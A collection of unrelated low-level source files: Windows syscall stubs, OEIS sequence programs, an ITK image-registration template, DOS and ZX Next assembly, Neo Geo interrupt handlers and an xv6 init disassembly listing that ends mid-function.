NtGdiDDCCIGetTimingReport( ULONG arg_01 , ULONG arg_02 ); NtGdiDDCCIGetTimingReport PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4909 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDDCCIGetTimingReport ENDP ; ULONG __stdcall NtGdiDdCreateFullscreenSprite( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiDdCreateFullscreenSprite PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4910 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiDdCreateFullscreenSprite ENDP ; ULONG __stdcall NtGdiDdNotifyFullscreenSpriteUpdate( ULONG arg_01 , ULONG arg_02 ); NtGdiDdNotifyFullscreenSpriteUpdate PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4911 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdNotifyFullscreenSpriteUpdate ENDP ; ULONG __stdcall NtGdiDdDestroyFullscreenSprite( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDestroyFullscreenSprite PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4912 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDestroyFullscreenSprite ENDP ; ULONG __stdcall NtGdiDdQueryVisRgnUniqueness( ); NtGdiDdQueryVisRgnUniqueness PROC STDCALL mov eax , 4913 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiDdQueryVisRgnUniqueness ENDP ; ULONG __stdcall NtUserSetMirrorRendering( ULONG arg_01 , ULONG arg_02 ); NtUserSetMirrorRendering PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4914 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSetMirrorRendering ENDP ; ULONG __stdcall NtUserShowSystemCursor( ULONG arg_01 ); NtUserShowSystemCursor PROC STDCALL arg_01:DWORD mov eax , 4915 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserShowSystemCursor ENDP ; ULONG __stdcall NtUserMagControl( ULONG arg_01 , ULONG arg_02 ); NtUserMagControl PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4916 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserMagControl ENDP ; ULONG __stdcall NtUserMagSetContextInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserMagSetContextInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4917 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserMagSetContextInformation ENDP ; ULONG __stdcall NtUserMagGetContextInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserMagGetContextInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4918 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserMagGetContextInformation ENDP ; ULONG __stdcall NtUserHwndQueryRedirectionInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserHwndQueryRedirectionInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4919 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserHwndQueryRedirectionInfo ENDP ; ULONG __stdcall NtUserHwndSetRedirectionInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserHwndSetRedirectionInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4920 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserHwndSetRedirectionInfo ENDP
; A249691: a(n) = binomial(3*n,n)*(5*n+2)/(2*n+1). ; Submitted by Jon Maiga ; 2,7,36,204,1210,7371,45696,286824,1817046,11593725,74397180,479634480,3104160696,20155648324,131239189440,856606186128,5602957906638,36716657444145,241006055925180,1584293462159100,10428491209564890,68727432280298715,453433662532381440,2994545237712406560,19794529036221661800,130955793861292342956,867044298617784490896,5744732441959156134048,38087976496873870561872,252682704934798991753880,1677314952868855508638848,11140095618636486154786848,74025894449672307052382142 mov $1,$0 mul $0,5 add $0,2 seq $1,1764 ; a(n) = binomial(3*n,n)/(2*n+1) (enumerates ternary trees and also noncrossing trees). mul $1,$0 mov $0,$1
/*========================================================================= * * Copyright Insight Software Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *=========================================================================*/ #ifndef itkRegistrationParameterScalesFromJacobian_hxx #define itkRegistrationParameterScalesFromJacobian_hxx #include "itkRegistrationParameterScalesFromJacobian.h" namespace itk { template< typename TMetric > RegistrationParameterScalesFromJacobian< TMetric > ::RegistrationParameterScalesFromJacobian() { } /** Compute parameter scales from average jacobian norms. * For each parameter, compute the squared norm of its transform Jacobian, * then average the squared norm over the sample points. This average is * used as the scale of this parameter. */ template< typename TMetric > void RegistrationParameterScalesFromJacobian< TMetric > ::EstimateScales(ScalesType &parameterScales) { this->CheckAndSetInputs(); this->SetScalesSamplingStrategy(); this->SampleVirtualDomain(); const SizeValueType numPara = this->GetNumberOfLocalParameters(); parameterScales.SetSize(numPara); ParametersType norms(numPara); const SizeValueType numSamples = this->m_SamplePoints.size(); norms.Fill( NumericTraits< typename ParametersType::ValueType >::ZeroValue() ); parameterScales.Fill( NumericTraits< typename ScalesType::ValueType >::OneValue() ); // checking each sample point for (SizeValueType c=0; c<numSamples; c++) { const VirtualPointType point = this->m_SamplePoints[c]; ParametersType squaredNorms(numPara); this->ComputeSquaredJacobianNorms( point, squaredNorms ); norms = norms + squaredNorms; } //for numSamples if (numSamples > 0) { for (SizeValueType p=0; p<numPara; p++) { parameterScales[p] = norms[p] / numSamples; } } } /** * Compute the scale for a STEP, the impact of a STEP on the transform. */ template< typename TMetric > typename RegistrationParameterScalesFromJacobian< TMetric >::FloatType RegistrationParameterScalesFromJacobian< TMetric > ::EstimateStepScale(const ParametersType &step) { this->CheckAndSetInputs(); this->SetStepScaleSamplingStrategy(); this->SampleVirtualDomain(); ScalesType sampleScales; this->ComputeSampleStepScales(step, sampleScales); const SizeValueType numSamples = this->m_SamplePoints.size(); FloatType scaleSum = NumericTraits< FloatType >::ZeroValue(); // checking each sample point for (SizeValueType c=0; c<numSamples; c++) { scaleSum += sampleScales[c]; } return scaleSum / numSamples; } /** * Estimate the scales of local steps. For each voxel, we compute the impact * of a STEP on its location as in EstimateStepScale. Then we attribute this * impact to the corresponding local parameters. */ template< typename TMetric > void RegistrationParameterScalesFromJacobian< TMetric > ::EstimateLocalStepScales(const ParametersType &step, ScalesType &localStepScales) { if ( !this->IsDisplacementFieldTransform() ) { itkExceptionMacro(<< "EstimateLocalStepScales: the transform doesn't have local support."); } this->CheckAndSetInputs(); this->SetStepScaleSamplingStrategy(); this->SampleVirtualDomain(); ScalesType sampleScales; this->ComputeSampleStepScales(step, sampleScales); const SizeValueType numSamples = this->m_SamplePoints.size(); const SizeValueType numPara = this->GetNumberOfLocalParameters(); const SizeValueType numAllPara = this->GetTransform()->GetNumberOfParameters(); const SizeValueType numLocals = numAllPara / numPara; localStepScales.SetSize(numLocals); localStepScales.Fill(NumericTraits<typename ScalesType::ValueType>::ZeroValue()); // checking each sample point for (SizeValueType c=0; c<numSamples; c++) { VirtualPointType &point = this->m_SamplePoints[c]; IndexValueType localId = this->m_Metric->ComputeParameterOffsetFromVirtualPoint( point, NumericTraits<SizeValueType>::OneValue()); localStepScales[localId] = sampleScales[c]; } } /** * Compute the step scales for samples, i.e. the impacts on each sampled * voxel from a change on the transform. */ template< typename TMetric > void RegistrationParameterScalesFromJacobian< TMetric > ::ComputeSampleStepScales(const ParametersType &step, ScalesType &sampleScales) { const SizeValueType numSamples = this->m_SamplePoints.size(); const SizeValueType dim = this->GetDimension(); const SizeValueType numPara = this->GetNumberOfLocalParameters(); sampleScales.SetSize(numSamples); itk::Array<FloatType> dTdt(dim); JacobianType jacobianCache(dim,dim); JacobianType jacobian(dim, (this->GetTransformForward() ? this->m_Metric->GetMovingTransform()->GetNumberOfParameters() : this->m_Metric->GetFixedTransform()->GetNumberOfParameters())); // checking each sample point for (SizeValueType c=0; c<numSamples; c++) { const VirtualPointType &point = this->m_SamplePoints[c]; if (this->GetTransformForward()) { this->m_Metric->GetMovingTransform()-> ComputeJacobianWithRespectToParametersCachedTemporaries(point, jacobian, jacobianCache); } else { this->m_Metric->GetFixedTransform()-> ComputeJacobianWithRespectToParametersCachedTemporaries(point, jacobian, jacobianCache); } if( !this->IsDisplacementFieldTransform() ) { dTdt = jacobian * step; } else { SizeValueType offset = this->m_Metric->ComputeParameterOffsetFromVirtualPoint(point, numPara); ParametersType localStep(numPara); for (SizeValueType p=0; p<numPara; p++) { localStep[p] = step[offset + p]; } dTdt = jacobian * localStep; } sampleScales[c] = dTdt.two_norm(); } } /** Print the information about this class */ template< typename TMetric > void RegistrationParameterScalesFromJacobian< TMetric > ::PrintSelf(std::ostream& os, Indent indent) const { Superclass::PrintSelf(os,indent); } } // namespace itk #endif /* itkRegistrationParameterScalesFromJacobian_hxx */
; A022102: Fibonacci sequence beginning 1, 12. ; 1,12,13,25,38,63,101,164,265,429,694,1123,1817,2940,4757,7697,12454,20151,32605,52756,85361,138117,223478,361595,585073,946668,1531741,2478409,4010150,6488559,10498709 mov $1,1 mov $3,12 lpb $0 sub $0,1 mov $2,$1 mov $1,$3 add $3,$2 lpe mov $0,$1
#ruledef test { ld {x} => 0x55 @ x`8 } #bankdef test { #bits 3, #addr 0, #outp 0 } #d3 $ ; = 0b000 #addr 0b010 ; = 0b000 label: #addr 0b100 ; = 0b000_000 #d3 $ ; = 0b100 #d3 label ; = 0b010
; SPDX-License-Identifier: ISC ; lib.inc: Library routines %include "lib.inc" section .text ;; ; void perror(u8 *msg, u64 errno) ;; global perror perror: push rsi ; print message call puts ; print ': ' push 0x203a mov rdi, rsp call puts pop rsi pop rsi ; print errno mov rax, UNKNOWN cmp rsi, rax cmovge rsi, rax mov rdi, [err_strings + rsi * 8] call puts ret ;; ; u64 strlen(u8 *str) ;; extern strlen strlen: xor rax, rax nextloop: cmp byte [rdi], 0 jz endloop inc rdi inc rax jmp nextloop endloop: ret ;; ; void puts(u8 *str) ;; extern puts puts: push rdi call strlen mov rdi, 1 pop rsi mov rdx, rax sys_write ret section .rodata ; Error string table err_strings: dq msg_SUCCESS dq msg_EPERM dq msg_ENOENT dq msg_ESRCH dq msg_EINTR dq msg_EIO dq msg_ENXIO dq msg_E2BIG dq msg_ENOEXEC dq msg_EBADF dq msg_ECHILD dq msg_EAGAIN dq msg_ENOMEM dq msg_EACCES dq msg_EFAULT dq msg_ENOTBLK dq msg_EBUSY dq msg_EEXIST dq msg_EXDEV dq msg_ENODEV dq msg_ENOTDIR dq msg_EISDIR dq msg_EINVAL dq msg_ENFILE dq msg_EMFILE dq msg_ENOTTY dq msg_ETXTBSY dq msg_EFBIG dq msg_ENOSPC dq msg_ESPIPE dq msg_EROFS dq msg_EMLINK dq msg_EPIPE dq msg_EDOM dq msg_ERANGE dq msg_UNKNOWN ; Success msg_SUCCESS db 'Success',0xa,0 ; Errors msg_EPERM db 'Operation not permitted',0xa,0 msg_ENOENT db 'No such file or directory',0xa,0 msg_ESRCH db 'No such process',0xa,0 msg_EINTR db 'Interrupted system call',0xa,0 msg_EIO db 'I/O error',0xa,0 msg_ENXIO db 'No such device or address',0xa,0 msg_E2BIG db 'Argument list too long',0xa,0 msg_ENOEXEC db 'Exec format error',0xa,0 msg_EBADF db 'Bad file number',0xa,0 msg_ECHILD db 'No child processes',0xa,0 msg_EAGAIN db 'Try again',0xa,0 msg_ENOMEM db 'Out of memory',0xa,0 msg_EACCES db 'Permission denied',0xa,0 msg_EFAULT db 'Bad address',0xa,0 msg_ENOTBLK db 'Block device required',0xa,0 msg_EBUSY db 'Device or resource busy',0xa,0 msg_EEXIST db 'File exists',0xa,0 msg_EXDEV db 'Cross-device link',0xa,0 msg_ENODEV db 'No such device',0xa,0 msg_ENOTDIR db 'Not a directory',0xa,0 msg_EISDIR db 'Is a directory',0xa,0 msg_EINVAL db 'Invalid argument',0xa,0 msg_ENFILE db 'File table overflow',0xa,0 msg_EMFILE db 'Too many open files',0xa,0 msg_ENOTTY db 'Not a typewriter',0xa,0 msg_ETXTBSY db 'Text file busy',0xa,0 msg_EFBIG db 'File too large',0xa,0 msg_ENOSPC db 'No space left on device',0xa,0 msg_ESPIPE db 'Illegal seek',0xa,0 msg_EROFS db 'Read-only file system',0xa,0 msg_EMLINK db 'Too many links',0xa,0 msg_EPIPE db 'Broken pipe',0xa,0 msg_EDOM db 'Math argument out of domain of func',0xa,0 msg_ERANGE db 'Math result not representable',0xa,0 ; Unknown errno msg_UNKNOWN db 'Unknown errno',0xa,0
; multi-segment executable file template. data segment ; add your data here! pkey db "press any key...$" message db "Please Enter A Number $" message2 db 10, 13, "Result $" reverse db 50 dup("$") inputstring label byte max db 50 len db ? mystring db 50 dup("$") ends stack segment dw 128 dup(0) ends code segment start: ; set segment registers: mov ax, data mov ds, ax mov es, ax ; add your code here lea dx, message mov ah, 9 int 21h lea dx, inputstring mov ah,0Ah int 21h mov cl,len mov ch,0 mov si,0 mov di,50 for1:jcxz endfor1 push cx cmp mystring[si],'$' je endfor1 mov al, mystring[si] mov reverse[di],al inc si dec di pop cx loop for1 endfor1: lea dx, message2 mov ah, 9 int 21h mov cl,len mov ch,0 mov si,0 for2:jcxz endfor2 push cx cmp si,50 jg endfor1 inc si cmp reverse[si-1],'$' je for2 mov dl, reverse[si-1] mov ah, 2h int 21h pop cx loop for2 endfor2: lea dx, reverse mov ah, 9 int 21h lea dx, pkey mov ah, 9 int 21h ; output string at ds:dx ; wait for any key.... mov ah, 1 int 21h mov ax, 4c00h ; exit to operating system. int 21h ends end start ; set entry point and stop the assembler.
; A231151: Least integer k such that n+1 + ... + n+k > 1 + ... + n. ; 2,2,2,3,3,4,4,4,5,5,6,6,7,7,7,8,8,9,9,9,10,10,11,11,11,12,12,13,13,14,14,14,15,15,16,16,16,17,17,18,18,19,19,19,20,20,21,21,21,22,22,23,23,23,24,24,25,25,26,26,26,27,27,28,28,28,29,29,30,30,31,31,31,32,32,33,33,33,34,34,35,35,36,36,36,37,37,38,38,38,39,39,40,40,40,41,41,42,42,43,43,43,44,44,45,45,45,46,46,47,47,48,48,48,49,49,50,50,50,51,51,52,52,52,53,53,54,54,55,55,55,56,56,57,57,57,58,58,59,59,60,60,60,61,61,62,62,62,63,63,64,64,64,65,65,66,66,67,67,67,68,68,69,69,69,70,70,71,71,72,72,72,73,73,74,74,74,75,75,76,76,77,77,77,78,78,79,79,79,80,80,81,81,81,82,82,83,83,84,84,84,85,85,86,86,86,87,87,88,88,89,89,89,90,90,91,91,91,92,92,93,93,93,94,94,95,95,96,96,96,97,97,98,98,98,99,99,100,100,101,101,101,102,102,103,103,103,104,104,105 mov $7,$0 mov $9,$0 add $9,1 lpb $9 mov $0,$7 sub $9,1 sub $0,$9 mov $3,2 mov $11,$0 lpb $3 mov $0,$11 sub $3,1 add $0,$3 add $0,1 mov $2,$0 pow $0,2 add $0,$2 mov $6,$5 lpb $0 add $6,1 sub $0,$6 trn $0,1 mov $10,3 mul $10,$6 lpe mov $4,$10 mov $8,$3 lpb $8 sub $8,1 mov $12,$4 lpe lpe lpb $11 mov $11,0 sub $12,$4 lpe mov $4,$12 sub $4,3 div $4,3 add $1,$4 lpe
; Author: Alexander Sharikhin nihirash ; License: https://github.com/nihirash/internet-nextplorer/blob/89baa64d974e2d916862280a9ec2f52247923172/LICENSE ; By them a coffee :-) MODULE Uart UART_RxD EQU $143B ; Used to set the baudrate UART_TxD EQU $133B ; Reads status UART_Sel EQU $153B ; Selects between ESP and Pi, and sets upper 3 bits of baud UART_SetBaud EQU UART_RxD ; Sets baudrate UART_GetStatus EQU UART_TxD UART_TX_BUSY EQU %00000010 UART_RX_DATA_READY EQU %00000001 UART_FIFO_FULL EQU %00000100 ; Enable UART - Cleaning all flags by reading UART regs ; ; Modifies AF and BC init SMC_skip_baud_init nop ld hl, .baudTable ld bc, $243B ;Now adjust for the set Video timing. ld a, 17 out (c), a ld bc, 9531 in a, (c) ;get timing adjustment ld e,a rlc e ;*2 guaranteed as <127 ld d, 0 add hl, de ld e, (hl) inc hl ld d, (hl) ex de, hl ld bc, UART_Sel ld a, %00100000 out (c), a ; select uart ld bc, UART_SetBaud ld a, l AND %01111111 ; Res BIT 7 to req. write to lower 7 bits out (c), a ld a, h rl l ; Bit 7 in Carry rla ; Now in Bit 0 or %10000000 ; Set MSB to req. write to upper 7 bits out (c), a ret .baudTable: DEFW 243,248,256,260,269,278,286,234 ; 115K ; A <- result ; Modifies: BC read: call InitESPTimeout ld bc, UART_GetStatus .wait: in a, (c) rrca jr nc, .checkTimeout ld bc, UART_RxD in a, (c) IFDEF TESTING call debug ENDIF call Border ret .checkTimeout call CheckESPTimeout jr .wait IFDEF TESTING debug: ;; write to the debug bank - $A000 and no further push hl push af ld hl, (Bank.debug) ld a, h bit 7,h jr nz, .outOfDebugMemory pop af ld (hl), a inc hl ld (Bank.debug), hl pop hl ret .outOfDebugMemory pop af pop hl ret ENDIF ; A = byte to write ; Modifies: BC, DE ; ; Write single byte to UART write: call Border call InitESPTimeout ld d, a IFDEF TESTING call debug ENDIF ld bc, UART_GetStatus .wait in a, (c) and UART_TX_BUSY jr nz, .checkTimeout out (c), d call Border ret .checkTimeout call CheckESPTimeout jr .wait ENDMODULE
IRQ3: move.w #1,REG_IRQACK rte TMRI: addq.w #1,LAG_LINES move.w #2,REG_IRQACK rte VBI: btst #7,BIOS_SYSTEM_MODE bne .uservbi jmp BIOSF_SYSTEM_INT1 .uservbi: move.l d0,-(a7) move.w #4,REG_IRQACK move.w #$2000,sr move.b d0,REG_DIPSW ; Watchdoge addq.b #1,FRAMES st.b FLAG_VBI move.l (a7)+,d0 rte
_init: file format elf32-i386 Disassembly of section .text: 00000000 <main>: char *argv[] = { "sh", 0 }; int main(void) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 53 push %ebx 7: 83 ec 1c sub $0x1c,%esp int pid, wpid; if(open("console", O_RDWR) < 0){ a: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp) 11: 00 12: c7 04 24 06 08 00 00 movl $0x806,(%esp) 19: e8 6a 03 00 00 call 388 <open> 1e: 85 c0 test %eax,%eax 20: 0f 88 b7 00 00 00 js dd <main+0xdd> mknod("console", 1, 1); open("console", O_RDWR); } dup(0); // stdout 26: c7 04 24 00 00 00 00 movl $0x0,(%esp) 2d: e8 8e 03 00 00 call 3c0 <dup> dup(0); // stderr 32: c7 04 24 00 00 00 00 movl $0x0,(%esp) 39: e8 82 03 00 00 call 3c0 <dup> 3e: 66 90 xchg %ax,%ax for(;;){ printf(1, "init: starting sh\n"); 40: c7 44 24 04 0e 08 00 movl $0x80e,0x4(%esp) 47: 00 48: c7 04 24 01 00 00 00 movl $0x1,(%esp) 4f: e8 3c 04 00 00 call 490 <printf> pid = fork(); 54: e8 e7 02 00 00 call 340 <fork> if(pid < 0){ 59: 83 f8 00 cmp $0x0,%eax dup(0); // stdout dup(0); // stderr for(;;){ printf(1, "init: starting sh\n"); pid = fork(); 5c: 89 c3 mov %eax,%ebx if(pid < 0){ 5e: 7c 30 jl 90 <main+0x90> printf(1, "init: fork failed\n"); exit(); } if(pid == 0){ 60: 74 4e je b0 <main+0xb0> 62: 8d b6 00 00 00 00 lea 0x0(%esi),%esi exec("sh", argv); printf(1, "init: exec sh failed\n"); exit(); } while((wpid=wait()) >= 0 && wpid != pid) 68: e8 e3 02 00 00 call 350 <wait> 6d: 85 c0 test %eax,%eax 6f: 90 nop 70: 78 ce js 40 <main+0x40> 72: 39 c3 cmp %eax,%ebx 74: 74 ca je 40 <main+0x40> printf(1, "zombie!\n"); 76: c7 44 24 04 4d 08 00 movl $0x84d,0x4(%esp) 7d: 00 7e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 85: e8 06 04 00 00 call 490 <printf> 8a: eb d6 jmp 62 <main+0x62> 8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(;;){ printf(1, "init: starting sh\n"); pid = fork(); if(pid < 0){ printf(1, "init: fork failed\n"); 90: c7 44 24 04 21 08 00 movl $0x821,0x4(%esp) 97: 00 98: c7 04 24 01 00 00 00 movl $0x1,(%esp) 9f: e8 ec 03 00 00 call 490 <printf> exit(); a4: e8 9f 02 00 00 call 348 <exit> a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } if(pid == 0){ exec("sh", argv); b0: c7 44 24 04 70 08 00 movl $0x870,0x4(%esp) b7: 00 b8: c7 04 24 34 08 00 00 movl $0x834,(%esp) bf: e8 bc 02 00 00 call 380 <exec> printf(1, "init: exec sh failed\n"); c4: c7 44 24 04 37 08 00 movl $0x837,0x4(%esp) cb: 00 cc: c7 04 24 01 00 00 00 movl $0x1,(%esp) d3: e8 b8 03 00 00 call 490 <printf> exit(); d8: e8 6b 02 00 00 call 348 <exit> main(void) { int pid, wpid; if(open("console", O_RDWR) < 0){ mknod("console", 1, 1); dd: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) e4: 00 e5: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) ec: 00 ed: c7 04 24 06 08 00 00 movl $0x806,(%esp) f4: e8 97 02 00 00 call 390 <mknod> open("console", O_RDWR); f9: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp) 100: 00 101: c7 04 24 06 08 00 00 movl $0x806,(%esp) 108: e8 7b 02 00 00 call 388 <open> 10d: e9 14 ff ff ff jmp 26 <main+0x26> 112: 90 nop 113: 90 nop 114: 90 nop 115: 90 nop 116: 90 nop 117: 90 nop 118: 90 nop 119: 90 nop 11a: 90 nop 11b: 90 nop 11c: 90 nop 11d: 90 nop 11e: 90 nop 11f: 90 nop 00000120 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 120: 55 push %ebp 121: 31 d2 xor %edx,%edx 123: 89 e5 mov %esp,%ebp 125: 8b 45 08 mov 0x8(%ebp),%eax 128: 53 push %ebx 129: 8b 5d 0c mov 0xc(%ebp),%ebx 12c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi char *os; os = s; while((*s++ = *t++) != 0) 130: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 134: 88 0c 10 mov %cl,(%eax,%edx,1) 137: 83 c2 01 add $0x1,%edx 13a: 84 c9 test %cl,%cl 13c: 75 f2 jne 130 <strcpy+0x10> ; return os; } 13e: 5b pop %ebx 13f: 5d pop %ebp 140: c3 ret 141: eb 0d jmp 150 <strcmp> 143: 90 nop 144: 90 nop 145: 90 nop 146: 90 nop 147: 90 nop 148: 90 nop 149: 90 nop 14a: 90 nop 14b: 90 nop 14c: 90 nop 14d: 90 nop 14e: 90 nop 14f: 90 nop 00000150 <strcmp>: int strcmp(const char *p, const char *q) { 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 53 push %ebx 154: 8b 4d 08 mov 0x8(%ebp),%ecx 157: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 15a: 0f b6 01 movzbl (%ecx),%eax 15d: 84 c0 test %al,%al 15f: 75 14 jne 175 <strcmp+0x25> 161: eb 25 jmp 188 <strcmp+0x38> 163: 90 nop 164: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p++, q++; 168: 83 c1 01 add $0x1,%ecx 16b: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 16e: 0f b6 01 movzbl (%ecx),%eax 171: 84 c0 test %al,%al 173: 74 13 je 188 <strcmp+0x38> 175: 0f b6 1a movzbl (%edx),%ebx 178: 38 d8 cmp %bl,%al 17a: 74 ec je 168 <strcmp+0x18> 17c: 0f b6 db movzbl %bl,%ebx 17f: 0f b6 c0 movzbl %al,%eax 182: 29 d8 sub %ebx,%eax p++, q++; return (uchar)*p - (uchar)*q; } 184: 5b pop %ebx 185: 5d pop %ebp 186: c3 ret 187: 90 nop } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 188: 0f b6 1a movzbl (%edx),%ebx 18b: 31 c0 xor %eax,%eax 18d: 0f b6 db movzbl %bl,%ebx 190: 29 d8 sub %ebx,%eax p++, q++; return (uchar)*p - (uchar)*q; } 192: 5b pop %ebx 193: 5d pop %ebp 194: c3 ret 195: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001a0 <strlen>: uint strlen(const char *s) { 1a0: 55 push %ebp int n; for(n = 0; s[n]; n++) 1a1: 31 d2 xor %edx,%edx return (uchar)*p - (uchar)*q; } uint strlen(const char *s) { 1a3: 89 e5 mov %esp,%ebp int n; for(n = 0; s[n]; n++) 1a5: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; } uint strlen(const char *s) { 1a7: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1aa: 80 39 00 cmpb $0x0,(%ecx) 1ad: 74 0c je 1bb <strlen+0x1b> 1af: 90 nop 1b0: 83 c2 01 add $0x1,%edx 1b3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1b7: 89 d0 mov %edx,%eax 1b9: 75 f5 jne 1b0 <strlen+0x10> ; return n; } 1bb: 5d pop %ebp 1bc: c3 ret 1bd: 8d 76 00 lea 0x0(%esi),%esi 000001c0 <memset>: void* memset(void *dst, int c, uint n) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 8b 55 08 mov 0x8(%ebp),%edx 1c6: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1c7: 8b 4d 10 mov 0x10(%ebp),%ecx 1ca: 8b 45 0c mov 0xc(%ebp),%eax 1cd: 89 d7 mov %edx,%edi 1cf: fc cld 1d0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1d2: 89 d0 mov %edx,%eax 1d4: 5f pop %edi 1d5: 5d pop %ebp 1d6: c3 ret 1d7: 89 f6 mov %esi,%esi 1d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001e0 <strchr>: char* strchr(const char *s, char c) { 1e0: 55 push %ebp 1e1: 89 e5 mov %esp,%ebp 1e3: 8b 45 08 mov 0x8(%ebp),%eax 1e6: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 1ea: 0f b6 10 movzbl (%eax),%edx 1ed: 84 d2 test %dl,%dl 1ef: 75 11 jne 202 <strchr+0x22> 1f1: eb 15 jmp 208 <strchr+0x28> 1f3: 90 nop 1f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1f8: 83 c0 01 add $0x1,%eax 1fb: 0f b6 10 movzbl (%eax),%edx 1fe: 84 d2 test %dl,%dl 200: 74 06 je 208 <strchr+0x28> if(*s == c) 202: 38 ca cmp %cl,%dl 204: 75 f2 jne 1f8 <strchr+0x18> return (char*)s; return 0; } 206: 5d pop %ebp 207: c3 ret } char* strchr(const char *s, char c) { for(; *s; s++) 208: 31 c0 xor %eax,%eax if(*s == c) return (char*)s; return 0; } 20a: 5d pop %ebp 20b: 90 nop 20c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 210: c3 ret 211: eb 0d jmp 220 <atoi> 213: 90 nop 214: 90 nop 215: 90 nop 216: 90 nop 217: 90 nop 218: 90 nop 219: 90 nop 21a: 90 nop 21b: 90 nop 21c: 90 nop 21d: 90 nop 21e: 90 nop 21f: 90 nop 00000220 <atoi>: return r; } int atoi(const char *s) { 220: 55 push %ebp int n; n = 0; while('0' <= *s && *s <= '9') 221: 31 c0 xor %eax,%eax return r; } int atoi(const char *s) { 223: 89 e5 mov %esp,%ebp 225: 8b 4d 08 mov 0x8(%ebp),%ecx 228: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 229: 0f b6 11 movzbl (%ecx),%edx 22c: 8d 5a d0 lea -0x30(%edx),%ebx 22f: 80 fb 09 cmp $0x9,%bl 232: 77 1c ja 250 <atoi+0x30> 234: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n = n*10 + *s++ - '0'; 238: 0f be d2 movsbl %dl,%edx 23b: 83 c1 01 add $0x1,%ecx 23e: 8d 04 80 lea (%eax,%eax,4),%eax 241: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 245: 0f b6 11 movzbl (%ecx),%edx 248: 8d 5a d0 lea -0x30(%edx),%ebx 24b: 80 fb 09 cmp $0x9,%bl 24e: 76 e8 jbe 238 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 250: 5b pop %ebx 251: 5d pop %ebp 252: c3 ret 253: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000260 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 260: 55 push %ebp 261: 89 e5 mov %esp,%ebp 263: 56 push %esi 264: 8b 45 08 mov 0x8(%ebp),%eax 267: 53 